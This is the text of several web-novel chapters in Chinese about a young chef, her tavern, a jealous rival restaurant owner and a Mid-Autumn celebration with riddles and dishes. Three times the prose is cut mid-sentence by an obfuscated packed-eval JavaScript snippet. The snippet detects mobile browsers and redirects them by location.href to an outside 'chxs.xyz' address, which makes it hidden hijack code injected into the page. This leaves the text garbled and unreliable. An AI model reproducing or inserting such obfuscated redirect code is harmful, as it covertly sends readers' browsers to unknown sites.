筷子来回移动，京酱肉丝、葱丝、炒合菜、酸辣土豆丝、孜然牛肉，全被放了一撮在春饼上。 包起来时，一个春饼有普通的两个大，他两只手都用上，才能拿得住。 项徳维双手捧着春饼，从中间咬了一大口。 春饼拉扯着撕破，面香充足，豆芽脆生生的，红薯粉条又糯叽叽的，两者都带着恰到好处的油汁。 葱丝略有辛辣气，但很清新，京酱肉丝嫩嫩滑滑，吃上一口，忍不住唆一唆表面的汁水。 这一大口，嚼起来香味层次感非常丰富，可以说鸡蛋、肉类、蔬菜、面饼的香味都发挥到了极致。 “怎么样，好吃吗？”侯世明装作面无表情，若无其事地问道，但他已经看到了项徳维的表情变化。 “味道......我再尝尝。”项徳维的心情很复杂。 一方面，为口中享受到的美食盛宴，发自内心感觉到愉悦；另一方面，这春饼卷的好几样菜，都是他的拿手菜，甚至做了十多年的菜都有，可他明显感觉到这些菜比他做得好吃。 比如这茄子豆角，油量适度，既爆香了茄子和豆角，又让这最最吸油的茄子不显腻味。 比如这京酱肉丝，每块肉都是又嫩又入味，恰到好处的酱汁配比，让甜面酱给肉块很好地提鲜，又让不常吃甜口的人，没那么反感。 项徳维又咬了一口，孜然香气浓厚，让牛肉鲜味上了几个档次，葱丝脆脆辣辣的，和酸辣土豆丝的辣虽不是同一种，却同样美味。 “这菜是你上次提到的那个言亦轩炒的吗？”项徳维看向厨房，厨房里几个都是二十几岁的年轻面孔，只有三十多岁的言亦轩，看上去才有这样的水平。 “好像是这家店的老板炒的，喏，就是那个正在颠勺的年轻姑娘，听说是叫江云枫。”侯世明指了指灶台前的江云枫。 江云枫倒了热油入锅，鸡蛋液淋入锅中，炒勺打圈，勺底将逐渐凝固的蛋液搅碎，粉丝、韭菜、豆芽依次放入。 她细长的手指格外有力，握住锅柄前后摇摆，很重的铁锅在她手里也很听话，炒勺恰到好处地前后推拉。 所有菜丝上下翻腾，有的飞起老高，掉落时却都精准落在锅中，没有一根菜丝掉出来。 “不是......这小姑娘看着才二十出头吧？水平竟然这么高？”项徳维一个做了二十年厨师的人，都被她手法的熟练度惊呆了。 项徳维盯了江云枫好一会儿，那切菜时的速度和精致度，调酱汁时的用量估计，对油温、炒菜时长的把控，都像是做菜多年的老师傅才有的姿态。 “好吧，真是长江后浪推前浪。”项徳维收回视线，看着眼前的一圈儿菜，叹了口气，“原来这家小店做菜是真的有水平，真不能小瞧了年轻人。” 侯世明见他眼神落寞，安慰道：“咱们来这里吃饭，除了为老板探一下虚实，也是来享受美食的嘛，遇到好吃的，也算是了解一下别人的厨艺，回去再想办法精进自己的技术。” “你说得对！我先尝了，研究一下味道，我就不信我这做菜二十多年的，与时俱进提高一下手艺，会比不过这小姑娘。”项徳维自己越说越起劲儿，越说越感到热血。 他夹了一块松鼠鲑鱼的肉，用力一拔，把一大块鱼肉从焦焦的鱼身上拔了下来。 入口一咬，炸的酥脆的外壳破碎，软嫩的鱼肉被挤压出来，番茄汁与醋汁的完美混合，让这一口味道喷香。 “这菜可以啊，汤汁清亮不挂油，炸得酥脆适度，不腻味，也保留了鱼肉本身的清香。”项徳维细细品味着，思考如果换了自己做，怎么才能做得比眼前这道菜更好。 两个人吃完了一桌子的菜，提着糕点走在回寻味园的路上。 项徳维每种糕点都吃了一个，还想再吃，被侯世明拦下了。 “别吃了，咱给老板也留一点尝尝，要不该说我们没干活了。”侯世明用丝带扎起礼盒。 “好吧。”项徳维依依不舍地看着礼盒开口合上。 “诶，你知道为什么老板以前不在乎任何一个新开的火爆餐厅，但是这次却对江家小酒馆这么上心吗？”侯世明开口问道。 “因为那个大博主言亦轩来这店了吧？哦对，还有就是言亦轩以前拒绝过老板打广告的想法。”项徳维稍加思索，便答了上来。 “确实有这些因素，不过还有个让他很上火的事。” “什么事？”项徳维八卦的心起了。 “我也是听店里的服务员说的，再过差不多一个月，江家小酒馆要搬到我们隔壁了。”侯世明压低了声音讲出这句话。 “啊？”项徳维动作一滞，呆了两秒才反应过来，“你说我们店隔壁装修的那家，是江家小酒馆？” “嗯。”侯世明双手交叉放在脑后，仰头看天，“余老板在海安街要有劲敌喽。” - “哎，你们听说没啊，江家小酒馆这几天出了月饼礼盒，五种糕点呢，都很好看。” “听说了啊，看着就馋得不行，但是根本抢不到，中午我提前五分钟，连页面都卡住了点不进去。” “没关系，明天、后天还有机会抢。” “我也是这么想的，等抢不到再买别家月饼。” ...... 寻味园内，食客们压低声音在讨论。老板余彬是个七十多岁的干瘦老头，戴个圆框小眼镜，坐在一旁悄咪咪地听着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958540|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听力很好的他，捕捉到了他们对于江家小酒馆的好感，心生不悦。 他没想到，那个清高又臭屁的言亦轩，竟然自甘“下凡”，给一个二十多岁的小店厨师当徒弟。 他也没想到，每年寻味园出的月饼礼盒，都会被疯抢，可今年竟然滞销了。而店内几乎所有食客，都在中午一点低头猛点手机，没猜错的话，都在抢江家小酒馆的限量糕点。 余彬老板让服务员旁敲侧击问几个老食客，才知道他们打算连续三天都抢江家小酒馆的糕点礼盒，抢不到再来买寻味园的礼盒。 这让余老板更是气不打一处来，他们寻味园，遇到凌盛大酒店和芙蓉楼才甘拜下风，什么时候竟然沦为给这家小饭馆当替补了？ 大概率是这个年轻的老板，懂网络那一套，比他这个有些过时的老头子会营销，要不然怎么可能一个多月把店开得这么红火。 余老板把玩着玛瑙手串，等着他的两个主心骨大厨——项徳维和侯世明回来。 等了好久，两个人才终于进门，手上还提了一个糕点礼盒。 “怎么这么晚才回来？让我好等。”余老板迎上去，笑得太用力，脸上的皱纹都更加明显，让他的脸像一颗皲裂的红枣。 “人太多了，我们排队快五十分钟才进店。”侯世明答道。 “多少人啊等这么久？”余老板吃了一惊，这个等待时长和他们寻味园不相上下了，不过他眼珠子咕噜噜一转，又笑了起来，“也对，那么屁大个小店没什么座位，等得久也是应该的。” “你们点了什么菜？味道怎么样？” 项徳维一一讲出点的菜，但是讲到味道，沉默不语。 “是不是太难吃了，让我们项大厨都吃无语了。”余老板哈哈大笑，然而那笑声很快被项徳维的评价打断了。 “每道菜都非常好吃，可以说从食材、火候、调味、摆盘、口感上，都没有任何短板。”项徳维声音低沉，给了个客观的评价。 “什么？照你这么说，那个言亦轩，手艺比你们还厉害？”余老板更是惊呆了，眼前两人都是四十多岁，从业经验二十余年，竟然比不过三十出头的言亦轩。 “实际上，不少菜是他们店老板江云枫做的。”侯世明沉默了半晌才开口，挠了挠头。 “江云枫？她看着才二十多岁啊？”余老板反复确认道，“言亦轩厉害我还勉强能理解，你们要说这个江云枫厉害，我是真不理解了，总不可能有人从娘胎里出来就开始颠勺了吧。” 这半开玩笑的话，并没让眼前两个厨师笑，反而让他们更沉默了。 “他们家的糕点我们买到了，要不老板你尝尝。”侯世明把盒子递给余老板。 “也行，我倒想知道这糕点有多好吃，能让这么多食客都五迷三道的。”余老板接过礼盒，却明显感觉到盒子很轻，几乎没装什么东西。 打开来，只有三块糕点，安安静静地躺在盒底。 “不是说五种每个三块，一共十五块吗？”余老板疑惑地皱起眉头，眼尾纹都加深了。 “我们尝了一些。”项徳维视线下移，不敢跟余老板对视，毕竟他吃了7块。 侯世明忍不住小声补充道：“还挺好吃的。” “【尝】？你们是说【尝】了12块吗？”余老板加重语气反问，都要气笑了，“好好好，我倒想知道这糕点里掺了什么迷魂药，让我手下这两个见多识广的大厨，也变得这么馋嘴。” 余老板把玛瑙手串撸到手腕上，整个人憋着怒气，毫不犹豫地从盒子里随便捞了一块糕点，咬了一大口。 41. 辣炒田螺 余老板本打算随便尝尝味道，大嚼了两下，却被口中的滋味惊艳，放慢了咀嚼的速度。 鲜肉月饼外皮很薄，却似有千层，层层碎裂，碎渣簌簌落下，肉鲜美而咸度适中，饼皮油润而不油腻。 这口中的美味，让他不忍渣子碎落在地，捞过礼盒，接住碎渣。 “这是那个江云枫做的？”余老板又咬了一口，皱起眉头，回想自家鲜肉月饼的味道。 寻味园的鲜肉月饼，肉馅还是肥腻了些，咬开之后，油汁会汪汪往外涌，外皮也碎碎的，不够完整。 而江家小酒馆的鲜肉月饼，外皮光滑白净，印字小巧精致，看着就让人有食欲，油汁只存在肉馅里，即使倾倒，也不会有油汁溢出。 “要么是江云枫做的，要么是江云枫的徒弟做的。”侯世明和项徳维回想着在江家小酒馆看到的一切。 余老板又细品了剩下的两块糕点，龙井茶糕茶香四溢，软嫩细腻；花想容糕玫瑰花香气很足，甜味也适当，勾得人一口一口吃得停不下来。 三块吃完，礼盒底部只剩些碎渣，余老板瞟了一眼又一眼，还是没能在两个厨师面前，把渣渣也吃下去。 “行吧，看来这江云枫是有点功底在。”余老板沉默了半晌，开口便是带着怒气的PUA，“咱们店怎么做不出这么好吃的糕点？你们应该想想原因。” 项徳维比较老实，老板这么一说，他真的开始自找原因：“江云枫这么年轻就有这么厉害，肯定是有天赋在的，不过我们这些老厨师，也确实该多想办法提高厨艺，与时俱进。” 侯世明则在心里暗暗“啧”了一声，在他看来，余老板肯花大价钱营销，却不肯把钱花在多招几个有经验的厨师，或者购买一些高质量食材上。 店里的厨师多数是新手，也就他和项徳维两个老厨师，其他老厨师多因为工资低辞职了，而新厨师简单培训一下就上岗，仅仅是因为招新手厨师便宜。 除此之外，余老板也不肯在成本上投入，肉类用的都是冻肉，有些保鲜要求高的食材，隔了夜还是会用来做菜。 “老板，咱们考不考虑多招几个老厨师？这样菜品的整体质量也能提上去。”侯世明尝试着提议。 “招什么人？店里的厨师已经够多了。”余老板一想到多招人，他每天赚到的几万块，就要分出去几百甚至一千给别人，就像是被抢钱了一样，心里很不舒服，“你们多抽空给那几个年轻厨师培训一下，他们不就变成经验老道的老厨师了吗？” “办法总比困难多，别什么事情都找我，你们自己想想解决方法。”余老板继续着PUA。 侯世明沉默了，和项徳维对视一眼，无奈地暗叹了一口气。 “行了，你们先去工作吧。” 余老板把两人支走后，躲到店内的角落，偷偷拿出礼盒，用手指捻了盒底的碎渣，吃得一点渣渣不剩，才意犹未尽地把盒子丢在一边。 “这糕点味道其实也一般，只要我们的厨师注意一下细节，肯定也能做出来。”余老板撇着嘴摇摇头。 不过他心里总是有种莫名其妙的感觉，有一瞬间，有个念头在他脑海中闪现—— “要是那两个厨师没贪嘴。我不就五种糕点都吃到了？” 这个念头时不时闪现，到第二天中午十二点五十五分，余老板又躲在饭店角落，左瞧又看，见四周没人注意他，偷偷点开了言亦轩动态里的糕点礼盒购买链接。 余老板看着时间一分一秒过去，心里没来由地紧张，右手不自觉地转动着左手大拇指上的翡翠扳指。 “紧张个P，能有多少人抢啊？再说了，我运气一向很好，肯定能抢到。” 然而，他整整卡了六分钟，加载的小圆圈一直在转，却什么也没出来，直到12：01分，页面刷出来了，却显示已售罄。 “看来是老天爷不想让我破费了，一个破糕点，也不是非要吃，谁稀罕。”余老板哼了一声，把手串撸下来回把玩。 可一整天过去，他还是心里不舒服。 思索再三，余老板决定中秋节当天，去江家小酒馆一探虚实。 - 上次洛之桃回去后，给江云枫发了近百种花灯的款式，她细细选中了其中的十五款，每款都要了一些。 很快，洛之桃就带着花灯到店。 言亦轩踩着凳子，在两边墙上粘了一些无痕胶，挂上挂钩，再将绳子固定在挂勾上，整个天花板像是结了一张蜘蛛网。 花灯依次挂在绳子上，高高低低地垂着。 龙灯蜿蜒，龙头、鳞片都栩栩如生；镂空雕花的宫灯，精致得让人难以收回目光；花草灯初看普通，点亮之后，圆滚滚的灯面上，倒映着朦胧的花草影子，格外清雅...... 多种多样的花灯高低错落，很是好看。 “诶，师父，你上次是不是说，觉得这些花灯眼熟？”言亦轩抱着胳膊，抬头扫视花灯，“我也觉得眼熟。” “是吧，好像跟之前......见过的某种灯一样。”江云枫努力回忆。 “有几个是款式一样，其他的虽然款式不同，但是画风一样。”言亦轩分析道。 “对，是这么个情况。”江云枫灵光一闪，转头问洛之桃，“你说这个灯是手工做的，那这位手作人，叫什么名字？” “我印象里应该姓萧，名字么......我找找。”洛之桃拿出手机翻动着通讯录。 江云枫一挑眉，转头和言亦轩对视，他也一样有几分惊诧，因为上辈子大梁皇族就姓萧。 如果这个人是上辈子的皇帝重生了，那就有意思了。 “哦对，叫萧穿林。”洛之桃终于翻到了，“这人挺多才多艺的，会手工花灯，会雕刻，会吹奏乐器，但是人很奇怪，不怎么用手机，有事得打很多电话，才有概率联系上，最近好像又去国外了，说要找什么人。” “那你这花灯怎么拿到的？”江云枫疑惑。 “我联系他们手作店的工作人员，才拿到的。”洛之桃好奇地凑过来，“怎么，你认识他？” “不认识。”江云枫仔细想了一下，摇摇头。 言亦轩欲言又止，等到洛之桃离开，他才和江云枫讨论起来。 “萧穿林，是那个七王爷。”言亦轩小声道。 “不太记得。”江云枫再次摇头，每年确实有不少皇亲国戚来江家小酒馆订菜，不过江云枫只和个别皇子打过照面，这个王爷连面都没见过，“之前应该跟我们没什么人情往来。” “听说这个七王爷闲散得很，不是云游山野，就是吟诗作赋，很有才，但是很少在人多的地方出现，没见过也是正常的。”言亦轩也想不起来萧穿林的样子，索性作罢。 - 中秋节当天一早，江云枫来到江家小酒馆，那黑板上的菜名有些堆不下了，她又擦掉，重新排版写了一遍，工整干净很多。 随后江云枫联系了打印店的章岩，让他帮忙排版制作了六个菜单出来，那菜单状似风琴，一拉开有好多折，整体是晕染出的渐变色，很是好看。 林若雪采买了桂花枝，江云枫拿起花剪，刚要修剪了插入陶瓶，就听到林若雪出声。 “老板，我也想学插花。”林若雪满脸期待地看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965288|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “行啊，我教你剪。”江云枫把花剪给她，指导着林若雪下刀。 太多太杂的枝条要剪掉，繁盛之处旁边要有留白，高低错落更有景致。 一番指导后，林若雪成功完成了六瓶插花，放在大堂的各个桌子上。 “不错啊，很有天赋。”江云枫赞赏道，“每个要点都是讲一遍就通了。” “还是老板教得好。”林若雪比了个大拇指。她倒不是恭维，而是江云枫每次下指令都简洁而干练，按照她说的剪，花枝既极简又有意境。 林若雪早已将灯谜准备好，写在梅花形状的便签上，叠起来放在竹筒里，只等猜灯谜的时刻。 天色微暗，店内花灯的电池蜡烛都已经打开，在大灯之外，错落的花灯散发出的朦胧光线，更是有美感。 一进店就能闻到桂花浓郁的甜香，桌上的每一瓶枝子上，都有大簇大簇的金黄桂花，越凑近，那清爽的甜香越往鼻子里钻。 食客们陆续进店，江云枫忙着炒今天上新的田螺。 往日在大梁，辣炒田螺是中秋夜必不可少的菜，与其说是菜，不如更像是小零食，对着田螺壳一嘬，那辣乎乎很入味的田螺肉，混同红色的辣汁，一下就吸进嘴里。 一个接一个吃，跟嗑瓜子似的。 江云枫在锅中倒了菜籽油，炒勺挖了一勺凝固的白色猪油，放进锅中，植物油和动物油混合，香味扑面而来。 红红的干辣椒、青椒和花椒，以及江云枫秘制的香辣酱、辣椒面纷纷倒入同炒，锅中已经红了一片，辣意随着热气往上涌，甚至有点辣眼睛。 焯水洗净的青灰色的田螺，在辣酱里打滚，染上一片火红。螺壳和锅底摩擦，发出沙沙声。 淋上白酒，炝炒出香味，江云枫又颠勺几次，火焰在锅内锅外翻飞，田螺在爆炒中吸收汁水。 啤酒没过田螺，酱汁、五香粉、陈醋、胡椒粉混合加入，盖上锅盖焖煮。 酒味带走田螺腥气，平添一抹酒香，各种调味料以及辣酱，让香辣味道突破田螺壳，渗透到每一寸肉中。 再掀开锅盖时，辣意包裹着田螺肉香，在厨房满溢。田螺挂上了暗红色的汁水，周围的浓稠汤汁咕嘟咕嘟冒着泡。 江云枫用炒勺捞起小半勺田螺，放在一旁的碗中。 “嗯——好久没吃了，闻着真香。”江云枫深吸一口气，那带着刺激感的辣味，足够人嘴馋。 夹起一颗田螺入口，辣汁格外狡猾，刚碰上嘴唇时没有感觉，可一秒一秒过去，辣味成倍增加。 辣椒酱的浓稠与火热的辣，植物油和动物油的香，青红花椒的麻，全部融在这辣汁里。 轻轻一嗦，那小小一颗田螺肉直接脱壳，软嫩得像一颗软糖，一嚼还汁水四溢。 螺肉鲜嫩，而那嗦出来的辣汁，比直接喝辣汁，辣味浓郁好几倍。 江云枫嗦第二下时，辣汁一下子窜进喉咙，她克制着咳了两下，喝了两口凉牛奶才缓过来，而那香辣的味道，早就满口都是了。 “你们俩这是......也想吃？”江云枫感觉到余光里有两人身影，转头一看，李博鸿和林若雪早就馋了，在一旁眼巴巴地看着她吃田螺。 “嗯嗯！”两个人乖巧点头。 “可以啊，不止有田螺可以吃，还有这几天多给你们的辛苦费。”江云枫从口袋里掏出中午就准备好的红包。 “这么好！”李博鸿和林若雪看着那颇有厚度的红包，又惊又喜。 “咱们也得应一下中秋节这个景。”江云枫话锋一转，“我出几个灯谜，你们猜对了，这些就给你们。” 42. 辣炒田螺2 “这么好玩？”林若雪本来给店里准备灯谜时，还有点遗憾自己没法参与，这下来了兴致。 “你出题吧，我肯定能答上来。”李博鸿拍拍胸口，他语文成绩一直不错，对这些很有自信。 “一只黑狗，不叫不吼。打一字。”江云枫先给李博鸿出题。 “黑狗......不叫......我知道了，是啊呜。”李博鸿脑海里立马显现了啊呜毛绒绒的脑袋。 林若雪听到这回答，哈哈大笑：“老板说是一个字，再说了，啊呜也不是黑狗啊，算是花色小狗吧。” “就是，重新再猜，还有一次机会了。”江云枫微笑着在旁边晃动红包。 李博鸿盯着红包左摇右晃，认真起来：“一个字的话？【默】？” “猜对了！来吧，大红包，再加上一大碗辣炒田螺。”江云枫把红包塞他手里，又用炒勺一舀，一大勺田螺填满了碗。 螺壳碰撞碗壁发出细碎声响，红色清亮的辣汁染红了碗沿。 江云枫把碗推给李博鸿。 “谢谢老板！中秋节快乐！”李博鸿刚拿到沉甸甸的红包，还没反应过来，又捧到了热乎乎的碗，心里登时被愉悦包裹。 “老板你给我出，我肯定一次答对。”林若雪挥了挥拳，跃跃欲试。 “可以啊，第二个谜语，要一半，扔一半。打一个字。”江云枫又拿出一个红包，用红包在耳边扇风。 “要......扔......我知道了，是【奶】字对不对？”林若雪三秒钟就回答上来，打了个响指。 “没错！果然是整理过谜语的人，这么迅速就答对了。”江云枫笑着把红包给她，同样也盛了一碗炒田螺。 “老板你太好了！中秋节花好月圆！发大财嘿嘿！”林若雪抱着红包，满面红光地祝福道。 “老板，我想要辣汁多一点的......再多一点......诶好了，谢谢老板！”林若雪捧着装满田螺的碗，低头抿了一口碗沿的辣汁，心满意足地走开了。 林若雪拿到田螺时，李博鸿已经迫不及待开吃。 他一开始拿了一根牙签，插进螺肉里，翻卷着一转，那螺肉瞬间脱壳，而那壳中的辣汁涌出来，落在碗里。 螺肉鲜嫩，完全被辣汁浸透，咬一口是嫩滑的口感，鲜辣的味道在舌头上绽放，让舌头火辣辣的，带着刺痛。 “这么吃太慢了，不够过瘾啊，”李博鸿吃了三颗，索性放下牙签，直接用筷子夹了两颗田螺入口。 刚入口，只觉得温温热热，才两秒，那辣味在口中疯狂升温，整个口中都像是在燃烧。 李博鸿顶住辣意，用舌头翻转螺壳的方向，嗦了两口，两颗小巧的螺肉瞬间落在口中。 嚼起来像是果冻一样嫩滑，嚼一嚼，咬出来的汁水，有青红辣椒的椒香，花椒的麻感，以及少许孜然带来的喷香气味。 “哇，这个辣味太地道了！......咳......咳咳......”李博鸿倒抽了一口气，让冷空气带走舌头上的灼热感，然而“斯哈”了没两下，那股味道又钻进了喉咙，他把头偏到一边，咳了两声。 “是啊，我刚才看着老板炒的干辣椒和青红花椒，还有什么辣椒酱啊、辣椒面啊，胡椒粉啊，都加了不少，出锅前还炒进去不少青红线椒圈，可入味了。”林若雪也端着碗走出来，讲着讲着自己都馋了。 她夹起一个螺肉已经掉了的螺壳，放在舌边吸了一口。 小小的螺壳灌满了辣汁，一吸，辣汁一扫而空，林若雪顿时感到又辣又鲜的味道在嘴里横冲直撞，很是开胃。 之后的每一个田螺，她都在辣汁里蘸了之后，再放进口中。 田螺在白酒中炝炒出香味，又在高温的热锅中，在各种调味料的浸润中焖煮，酱的香，胡椒粉的刺激，花椒油的麻，糖的鲜，以及各种不同层次的辣味，统统深入每一寸肉中。 每一次咀嚼，浓香的汁水都会溢出来。 “哎，这酱汁调得真好，炒鞋底子都好吃。”林若雪感慨道。 她一边“嘬嘬嘬”吸着螺肉，一边“滋滋滋”吸着辣汁，还时不时被辣得“斯哈斯哈”找凉牛奶喝，吃得不亦乐乎。 “你也来猜个灯谜？” 之前两人猜灯谜时，言亦轩看似默不作声，实际上一直用余光偷偷看着，江云枫太了解自己徒弟闷闷的性子了，直接开问。 “还有我的份儿呢？”言亦轩故作惊讶地洗了手，擦着手走过来，实际上嘴角已经噙不住笑意了，“你出题吧。” “你是小李的老师，到你的话，我得出个难点的。”江云枫思索片刻，食指一竖，“有了，平原门下客三千，打一个成语。” “成语？确实上难度。”言亦轩摸索着下巴，默念了几次谜面，“宾客如云？” “接近了。” “这样就接近了？那高朋满座？” “好的，又远了。”江云枫“哧”地嘲笑道。 “？”言亦轩沉默半晌，“如果第一个是接近的话，那谜底应该是，胜友如云？” “对了。可以啊言老师，比你徒弟也就慢了......两分钟吧。”江云枫看了眼手机，把红包递给他。 “比徒弟慢也没什么，青出于蓝胜于蓝。”言亦轩惊讶于红包的厚度，在手里掂了掂，“重要的是，拿得比以前还多，这就很不错。” 往日在江家小酒馆，逢年过节，江云枫都会给她的几个徒弟，以及店内的伙计们发红包，图个好彩头。 “中秋节快乐啊，师父。”言亦轩往年的中秋节一样，抱起拳头，冲江云枫认认真真作了个揖。 “中秋节快乐，愿岁岁有今朝。” 江云枫一瞬间从他身上看到了宁映葵的影子，以往宁映葵都是古灵精怪地抱拳，两个扎成啾啾的发髻上，红丝带左摇右摆的。 还没等江云枫细想，言亦轩继续开口：“这个胜友如云不只是祝福了，今天我还真的有几个朋友要到店里来。” “是哪几位？”江云枫好奇自己是否认识。 “有位元老太太，还有位宋老爷子，是对夫妻，两人是我早年在一家饭馆工作时的老熟客，每次他们都点名让我做饭。”言亦轩满脸骄傲。 “行啊，我徒弟也出师了。”江云枫一夸，言亦轩嘴角更是上天。 “但有一回我翻车了，就是做那个长寿面。”言亦轩顿了顿，“老话讲，长寿面一口吃完不能咬断，象征长寿吗不是。” 江云枫刚听到言亦轩翻车还觉得意外，这下明白怎么回事了：“宋老爷子没咬断？” 言亦轩已经绷不住笑了：“对，没......没咬断，一口唆啊唆的......肺活量真的很强大。” 别家的饭馆，长寿面直接用细挂面煮，但是按照江家小酒馆的传统，长寿面都是手工制作，盘成蚊香卷样式的一根面。 这一根面抻长了，煮熟了，能有一碗的量。 往日不少食客会在生日当天点上一碗，还非得不信邪地要一口唆完，导致有不少食客唆到缺氧，抱着脑袋缓好久才能继续吃。 “宋老爷子没事吧......”江云枫努力忍笑，尽量正经地关心道。 “没什么事，只是昏迷了一会儿，醒了继续吃，然后吃完了。”言亦轩努力让表情平静下来。 “老爷子有这铁肺，肯定能长寿啊。”江云枫擦了擦笑出来的眼泪，肯定地点头。 “我也是这样想的。”言亦轩平复了笑意，“还有个以前共事过的厨师同事，人很不错，做菜技术也好，听说我来这边上班，一家人来这边聚一下，顺便看看我。” “这位厨师要是技术不错，可以考虑挖过来。”江云枫狡黠一笑。 “哎，我也正有此意。”言亦轩找到知音般一拍手，“就等他们来了。” “今天晚上可热闹喽。”江云枫转头看向大堂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971336|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店内人来人往，花灯随着微风摇曳，李博鸿和林若雪吃到一半，就开始继续忙碌了，店外排的长队，几乎望不到尽头。 很快，江云枫就见到了言亦轩口中讲到的“宋老爷子”和“元老太太”。 看到他们的那刻，江云枫眼前一亮。 老爷子黑发浓密到没有缝隙，身形挺拔，一身中山装格外有气质。老太太气质温婉，笑时露出的皱纹都让人觉得岁月静好，一袭长风衣，打扮很时髦。 “真是国泰民安的气质。”江云枫感慨道。 “是啊，主要是两个人对日常饮食的要求很高，也很注重保养，看着就不一样。”言亦轩讲完这句，起身迎接老夫妇。 言亦轩和他们客套攀谈了几句，宋老爷子又开始点菜了。 “小言，今天正好中秋节，又赶上我生日，给我做碗长寿面吧。” “还吃长寿面？”言亦轩歪头，眼神透着几分狡黠。 “还吃！挑战自己，挑战我的肺活量！”宋老爷子也是个倔强的人。 此话一出，元老太太在旁边用手帕捂嘴偷笑，小声嘲笑道：“七十多岁了，正是闯的年纪。” “是的，正是闯的年纪。”宋老爷子丝毫不把这话当嘲讽，“对了，听说你拜这家店的江老板为师了，我想尝尝她的手艺。” 江云枫在厨房听到了自己的名字，擦了手出来，笑意盈盈：“您好，我就是江老板。” “这年少有为的人，看着确实不一样。”元老太太拍拍宋老爷子肩膀。 宋老爷子一愣，打量了两秒江云枫，面露赞赏之意：“这气质挺不一般，能让言亦轩心甘情愿拜师，肯定本事出众，我今天是老寿星，能否请你赏光帮我做一碗长寿面？” “做长寿面没问题，您是要一根一碗的，还是普通的多根细面？”江云枫试探地问道。 “一根一碗的，长寿面长寿面，要的就是长！”宋老爷子一摆手。 “可以做，不过我家店吃饭没那么多规矩，面做好，长寿的寓意就到了，不管咬断不咬断，祝福都在。”江云枫笑道，“好的心态也是长寿的秘诀。” “嗯！小姑娘讲话有深度。”元老太太更喜欢江云枫了。 “可以的，话不多说，咱们上菜吧！”宋老爷子又点了几道菜，等江云枫回厨房了，冲着言亦轩挑眉，“好小子，在背后蛐蛐我，把我吃面的事全抖出去了！” “那不叫蛐蛐，那叫......正常聊天。”言亦轩又想笑，赶紧回了厨房。 为了保持面的鲜香，江云枫用了鸡汤和虾汤共同熬煮，吊出汤底，那面条是将发面裹上食用油，一点点搓出来的。 搓到微粗之后，将面条从中心向外，慢慢盘成蚊香卷形状。 待到汤底煮好，江云枫一手将面拉扯更加细长，下入锅中，另一手捋着面，保持一整条面的粗细一致。 这样双手配合不断拉扯，恍若熟手快速织毛衣，细细的面条飞舞着落入锅中，在滚起的汤中打转。 锅中的面越来越浓稠，案板上的面越来越少，最后的尾巴也落入汤中，仿佛完成了一场乐曲演奏。 剥好的虾仁，切块的番茄，洗净的青菜，木耳丝和笋丝，肉块，分别入锅中慢炖，江云枫还用胡萝卜片，精心雕刻了“生日快乐”四个字，放在汤中熬煮。 “这四个字在汤里飘来飘去，真的很滑稽。”言亦轩看着那上下翻飞的四片胡萝卜，嗓子里闷出一声笑。 “确实，不过就算这会儿再翻飞，出锅也是完整的。”江云枫用长筷子搅拌着面条，避免粘锅。 很快，一整根面煮好了，夹在碗里是满满一碗，虾仁整齐排列在面上，烫好的青菜、西红柿块整齐排布，木耳丝、笋丝和肉块则埋在碗底。 橙红色的“生日快乐”非常显眼地摆在面条上。 “完成了，准备上菜。”江云枫非常满意地捧起面碗，朝着老夫妇走去。 43. 虾汤长寿面 “老爷子，长寿面来喽！祝您多福多寿，如鹤如松！也祝二位和和美美，平安健康！”江云枫把面碗放在宋老爷子面前，“生日快乐”四个字摆正了对着他。 “好好好，谢谢小江老板，这话我爱听。”宋老爷子笑起来声如洪钟，元老太太也笑得眼睛弯弯。 “这碗面是送的，您慢用，我先去忙活了。”余光扫到林若雪端着菜过来，江云枫挪动桌上各菜盘，让她有空间放盘子，打过招呼后回了厨房。 “我刚才看小江老板在厨房里抻面的手艺不一般，你快尝尝味道怎么样？”元老太太盯着那碗面，很是期待。 “还挺有创意的。”宋老爷子夹起胡萝卜刻的“生日快乐”四个字，饶有兴致地正反看着，而后送入口中。 胡萝卜煮得刚刚好，软糯到很适合老年人入口，同时又没有破碎成泥。 在胡萝卜本身的清甜外，还有几分汤汁的鲜爽。 “味道也不错。”宋老爷子开了胃，食欲更是高涨。 他先是把汤面上的虾夹了三个给元老太太，随后用筷子挑面时，发现汤里藏着一抹金黄。 “你瞧，这边还藏着两个煎鸡蛋呢，哦，不是两个，是双黄的。”宋老爷子把煎鸡蛋从汤底夹到汤面，筷子一用力，双黄蛋从中间分成两半，“来，分你一半。” “你快吃吧，老夫老妻的，不用分来分去的。”元老太太往嘴里塞了个虾仁，眼睛立刻聚焦，闪闪发亮，“嗯！你快尝尝这个味道，真不错！” 